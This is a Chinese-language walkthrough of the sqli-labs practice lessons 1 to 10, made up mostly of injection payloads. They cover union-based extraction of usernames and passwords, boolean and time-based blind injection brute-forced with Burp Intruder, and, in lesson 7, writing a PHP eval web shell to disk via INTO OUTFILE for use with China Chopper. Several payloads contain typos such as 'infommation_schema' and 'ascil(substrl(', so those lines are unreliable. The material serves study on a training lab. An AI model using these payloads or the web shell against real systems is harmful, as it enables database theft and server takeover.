文章目录
sql注入漏洞
定义和原理
指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,导致其传入的“数据”拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。
sql注入攻击流程
- 探测注入点
手动构造sql 注入测试语句 - 信息获得:在注入获得希望得到的数据
eg.
环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
数据库信息:数据库名,数据表名,表字段名,字段内容(加密内容破解) - 获得权限
获取操作系统权限:通过数据库执行 Shell,上传木马
实操
less 01
判断是否存在注入漏洞
- ?id=1 and 1=2#和?id=1 and 1=1#均正确执行,说明不是数字型注入
输入?id=1,页面不报错
- 输入?id=1’,页面报错
说明为单引号注入
判断有几个字段 order by
- 输入id=1’ order by 10 --+ 报错
- 输入id=1’ order by 5 --+ 报错
- 输入id=1’ order by 3 --+ 不报错;输入id=1’ order by 4 --+ 报错
说明只有三个字段
看回显union select
需要让前面的语句报错才可以将此语句注入进去,这时我们往1前面加一个-就可以报错,输入 id=-1’ union select 1,2,3,发现2,3可以回显,说明name和password为2,3个字段
利用语句 ?id=-1’ union select 1,database(), 3 --+ 可查询出数据库名
利用语句 ?id=-1’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 3 --+ 可查询出第一个表名,然后再设置limit 1,1 2,1 …可以得到所有表名,得到又一个表为user
根据数据库名和表名查询出字段名,查询出其中一个字段名为password,同理查询出了其他字段名:id,username
?id=-1’ union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1), 3 --+
接下来获取用户名和密码
?id=-1’ union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1) --+
less 02
判断注入类型(字符型or数值型)
- ?id=1 and 1=1成功显示
- ?id=1 and 1=2没有显示, 说明是数字型注入
然后同less01的操作:
order by判断字段名
-
?id=1 order by 10
-
?id=1 order by 5
-
?id=1 order by 3,成功回显
union select 判断字段名
?id=-1 union select 1,2,3
查询数据库名
?id=-1 union select 1,database(), 3
查询表名
?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 3
根据数据库名和表名查询出字段名
?id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1), 3
获取用户名和密码
?id=-1 union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1)
less 03
- 输入?id=1‘,报错,说明是单引号注入,但是从报错信息上观察可能还存在“)”
- 输入?id=1’),回显正常
这里可以判断出id= 的包裹信息为id=(‘1’)
同less01和less02进行信息构造即可,eg. 构造 ?id=1’) order by 3–+ 来判断字段名有几个
less 04
- 输入?id=1‘,不报错
- 输入?id=1’',报错,说明存在双引号注入
同less01和less02和less03进行信息构造即可,eg. 构造 ?id=1‘’) order by 3–+ 来判断字段名有几个
less 05
- 输入?id=1
- 我们输入随便一个值?id=1
可以判断为布尔类型的注入 - 输入?id=1‘,出现报错,可知存在sql注入漏洞
判断字段数
输入 ?id=1‘ order by 3–+ ,结果进行回显,说明有3个字段
获得密码
因为是布尔类型的,没有回显结果,所以尝试别的方法
(1)left函数
left()函数: left(database(),1)='s'
left(a.b)从左侧截取a的前b位,正确则返回1,错误则返回0
select left(database(),1)=s;前1位是否是s
我们使用暴力的方法,从a–z依次进行爆破可以得出第一位是什么字母,然后依次算出第二个和第三个
我们可以使用burpsuit进行爆破
抓包后send to intruder,add爆破点,然后进行爆破就可以快速得到结果
(2)使用if进行判断
- 输入?id=1’ and ascii(substr((select schema name from infommation_schema.schemata limit 1,1),1,1))>100–+ ,然后更改最后的数字进行猜测
其中,substr((select schema name from infommation_schema.schemata limit 1,1)是选择infommation_schema.schemata中的第二个数据库
less 06
less 05的单引号换成双引号
less 07
- 输入 ?id=1
提示使用outfile的方法 - 输入两个括号的时候报错,说明报错格式为id=((1’))
- 使用outfile的方法(使用union select 进行注入)
?id=-1’)) union select 1,2,‘<?php @eval($_POST["crow"] );?>’ into outfile “Users/a11/Downloads/a.php” --+ 将一句话木马写入其中 - 使用中国菜刀进行访问
less 08
- 输入?id=1,发现是布尔类型的注入
- 输入?id=1‘, 不返回结果
存在单引号注入
方法1 布尔盲注
同less 05对后续字段进行爆破,eg 输入 ?id=1’ order by 3 --+ , 有回显说明有三个字段
方法2 时间盲注
- 输入 ?id=1’ and if(length(database())=8,1,sleep(5))–+ 当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
- 输入 ?id=1’ and if(ascil(substrl(select database(),1,1))>11, 1, sleep(5))–+ 如果当前数据库的第一个字母的ascii值大于11的时候,会立刻返回结果1,否则执行睡眠5s
- 输入**?id=1’ and if(ascii(substr((select schema_name from information_ schema.schemata limit
4,1),1,1))>117,1,sleep(5))–+**, 同理判断数据库中的第5个数据库的第一位的asci的值是不是大于112,如果是的则速度返回,否则延时5s返回结果。
less 09
输入?id=1’ ; ?id=1’ and 1=2–+; ?id=1’ and 1=1–+;均回显一样的结果,说明没有回显结果,这是不能进行布尔盲注,只能使用时间注入的方法,如less 08的方法二
less 10
和Less-9一样,不过’变成了"
基础知识补充
1.left()函数: left(database(),1)='s'
left(a.b)从左侧截取a的前b位,正确则返回1,错误则返回0
select left(database(),1)=s;前1位是否是s
2.regexp()函数: select user() regexp 'r'
user()的结果是root,regexp为匹配root的正则表达式
select database()regexp 's': 匹配第一个字符是否是s
3.like函数: select user() like 'ro%’; 匹配与regexp相似。
select database() like 's%'; 匹配第一个字符是否是s, %为通配符
4.substr(a.b.c)函数:select substr() xxXX 从位置b开始,截取a字符串c位长度
select substr((select database()),1,3)='sec'; 匹配前三个个字符是否是'sec'
5. ascii()函数:将某个字符串转化为ascii值
select ascii(substr((select database()),1,1));直接回显115 或者是:
select ascii(substr((select database()),1,1))>110;如果大于110,就会返回1,否则返回0.
6. into dunpfile():文件写入,会保留一定的格式
7. into outfile():文件写入,将最原始的数据写入
8. load_file():加载文件
9. IF(condition,A.B)如果条件condition为true,则执行语句A,否则执行B